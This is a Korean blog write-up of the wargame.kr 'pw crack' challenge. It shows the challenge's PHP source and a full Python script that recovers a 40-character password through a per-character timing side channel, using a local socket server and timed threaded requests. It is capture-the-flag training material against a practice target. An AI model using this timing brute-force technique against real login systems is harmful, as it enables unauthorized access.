늘모자란, 개발 :: [wargame.kr] Challenge 33 - pw crack

늘모자란, 개발

시간이 오래 걸린다고 시작부터 겁을 준다

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 include("../lib.php"); // include for auth_code function.

 //ini_set("display_errors", true);

 $password=auth_code("pw crack");
 $dest = $_SERVER['REMOTE_ADDR'];
 $port = 31337;
 $data="";

 $sock = @fsockopen($dest,$port,$errno,$errstr,10);
 if(!$sock){die("IP : $dest<br />port : $port<br /><h2>Connection Error</h2><br /><br />Please, open your port!");}
 fwrite($sock,"password : ");
 for($i=0;$i<40;$i++){
  $c=fgetc($sock);
  if(ord($c)==0 || ord($c) == 10){ break; }
  $data.=$c;
 }
 fclose($sock);
 
 for($i=0;$i<40;$i++){
  sleep(2);
  if($data[$i]!=$password[$i]){
   die("wrong password!");
   break;
  }
 }
 echo "<script> alert('congratulation!! that`s auth key!!'); </script>";


대강 소스를 보면 40자로 패스워드를 만들고 소켓을 닫고, sleep(2) .. 그니까 한자리 맞출때마다 디폴트2초, 맞추면 4초가 걸리게 되는 셈이다
time based 공격을 해본적이 있으니까 응용해보자. 근데 대놓고 코딩을 하라는 문제는 없었기 때문에 각오를 좀 다지고...

일단 31337 을 listen 하는 간이서버를 하나 만들자.

python tcp서버는 대강 이렇게 생겼는데

#!/usr/bin/python
 
from socket import *
from time import ctime 
 
HOST = ''
PORT = 31337
BUFSIZ = 1024
ADDR = (HOST, PORT)
 
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5) 
 
while True:
    tcpCliSock, addr = tcpSerSock.accept()
    print 'Connected from:', addr
    
    while True:
        data = tcpCliSock.recv(BUFSIZ)

    tcpCliSock.close()
tcpSerSock.close()


호스트 상관없이 포트만 열고 냄새를 맡겠다는 전략이다. 이렇게 하면 다음과 같이 출력된다

password :


recv한 데이터가 저게 끝이다. 이제 서버로 내가 의도한 비밀번호를 보내주면 될터..
우린 무려 서버를 완성했기때문에 50% 이상 벌써 달성한것이다.

비밀번호를 보내서 2초 이상 걸리면 성공, 실패하면 2초니까 자리수마다 체크해야한다.
즉, 첫자리에서 성공하면 2초 이상, 둘째도 맞으면 4초, 그다음맞으면 6초... 하지만 갑자기 2초가 나오면 그친구는 틀린.. 코드가 생각만해도 복잡할거 같다.

나는 처음에 생각하기로 이건 되게 쉬울것 같다라고 생각했는데 그게 아니었다. 영구적인 서버를 하나 열어놓고 계속 보내면 될줄알았는데 만만의 콩떡이다. 상대는 PHP. 한번쏘고 연결이 끊어진다. 즉, 지속적 통신을 하고 있는게 아니다. php 페이지를 일일히 콜을 해서 내 서버로 1회 요청을 해야하고, 해당 request 가 끝나는 시간을 재야한다.

고로 내 소스는 계속 포트를 열어놓을 필요도 없고, 보내고 포트를 닫아버려도 된다는 말이다.
동시에, 두개의 작업을 해야한다. 서버 열고, 홈페이지 열어주고, 그사이에 시간재고. 즉, 쓰레드를 사용해야 된다는 소리이다


이런 느낌이다

import time
import threading
def hello():
    x = 0 
    while x < 100000000:
        pass
        x += 1
start = time.clock()
t = threading.Thread(target = hello, args = ())
t.start() 
t.join()
end = time.clock()
print "The time was {}".format(end - start)


뭐 조인까지는 필요없겠지만, 쓰레드에서 함수를 호출하고 끝나는 시간을 재줘야 한다. 이런식으로 만들어보자.
아까 만든 서버는 그냥 켜놓고, 다른 소스를 만들어서

def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)

start = time.clock()
t = threading.Thread(target = game_request, args = ())
t.start()
t.join()
end = time.clock()
print "The time was {}".format(end - start)


돌려보면,

The time was 2.02440399267
[Finished in 2.2s]


2초만에 끝났단걸 알 수 있다. 따로 값을 보내지 않아도 무조건 2초는 쉬기때문에..
대강 이해가 됐을테니 쓰레드를 넣어서 코드를 구현해보자. 일단은 프로토타입이다.

#!/usr/bin/python

import urllib2
from socket import *
import time
import threading
 
def serv(i):
    HOST = ''
    PORT = 31337
    BUFSIZ = 1024
    ADDR = (HOST, PORT)
     
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    tcpCliSock, addr = tcpSerSock.accept()
    tcpCliSock.send(chr(i))
    data = tcpCliSock.recv(BUFSIZ)

    tcpCliSock.close()
    tcpSerSock.close()


def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)



for i in range(32,128):
    
    t = threading.Thread(target = game_request, args = ())
    t.start()

    start = time.clock()
    t1 = threading.Thread(target = serv(i), args = ())
    t1.start()
    end = time.clock()

    t1.join()
    t.join()

    print "Trying {} for time :: {}".format(chr(i),end - start)



위에 충실히 설명한것을 구현한 코드이다. 이걸 요대로 돌리면.. 32,128은 아스키코드 범위이다.

Trying   for time :: 2.02322761968
Trying ! for time :: 2.01210221619
Trying " for time :: 2.01438766471
Trying # for time :: 2.01621868877
Trying $ for time :: 2.01269823184
Trying % for time :: 2.01177938825
Trying & for time :: 2.01511927476
Trying ' for time :: 2.01405883997
Trying ( for time :: 2.01229044919
Trying ) for time :: 2.01229178181
Trying * for time :: 2.0135081335
Trying + for time :: 2.01389692627
Trying , for time :: 2.01464952514
Trying - for time :: 2.01391724877
Trying . for time :: 2.01377632389
Trying / for time :: 2.01210188303
Trying 0 for time :: 2.01470449584
Trying 1 for time :: 2.01273188057
Trying 2 for time :: 2.01311334392
Trying 3 for time :: 2.01269523344
Trying 4 for time :: 4.01362840273
Trying 5 for time :: 2.01312433806
Trying 6 for time :: 2.01345649436



여기까지 돌리고 멈췄다. 유난히 튀는 녀석이 하나 있는데 그것은 바로 4. 우리는 첫자리가 이제 4임을 알게 되었다.
플래그는 총 40자리이므로 이런식으로 40자리를 찾아주면된다. 단, 자리수마다 2초씩 올라가니까 정말 오래 걸릴것이다.
그래서 좀 극단적으로, 이렇게 올리는걸 설마 특문까지 다 넣겠나 싶어서 숫자와 소문자, 대문자만 넣어서 돌리기로 했다. 특문은 솔직히 좀..
(나중엔 돌리다가 대문자도 제거했다.... 범위를 이렇게 하세요 0123456789abcdef)

완성된 코드!
알아서 멈추진 않으니까 잘 판별하세요! 전 넉넉하게 0시부터 시작해서 그냥 아침에 확인했습니다

#!/usr/bin/python

import urllib2
from socket import *
import time
import threading
import sys

flag = ""
string = "0123456789abcdef "

def serv(i):
    global flag

    HOST = ''
    PORT = 31337
    BUFSIZ = 1024
    ADDR = (HOST, PORT)
     
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    tcpCliSock, addr = tcpSerSock.accept()

    input_flag = "{}{}".format(flag,i)

    tcpCliSock.send(input_flag)
    data = tcpCliSock.recv(BUFSIZ)
    print data, input_flag

    tcpCliSock.close()
    tcpSerSock.close()


def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)
    res = response.read()
    if "congratulation" in res:
        print res
    else:
        print "[-] Fail"

print "[*] Starting pw_crack.py"
print

for j in range(1,41):
    print "[+] {} round ({}s)".format(j,4 + len(flag)*2)
    print

    for i in string:

        start = time.clock()
        
        t1 = threading.Thread(target = serv, args = (i,))
        t1.start()
        
        t = threading.Thread(target = game_request, args = ())
        t.start()

        t1.join()
        t.join()

        end = time.clock()

        due = end - start

        if due > 4 + len(flag)*2:
            flag = "{}{}".format(flag,i)
            print "[!] Found : {}".format(i)
            print "[*] KEY: {} ({}/40)".format(flag,len(flag))
            print
            break




2016/06/22 05:01 2016/06/22 05:01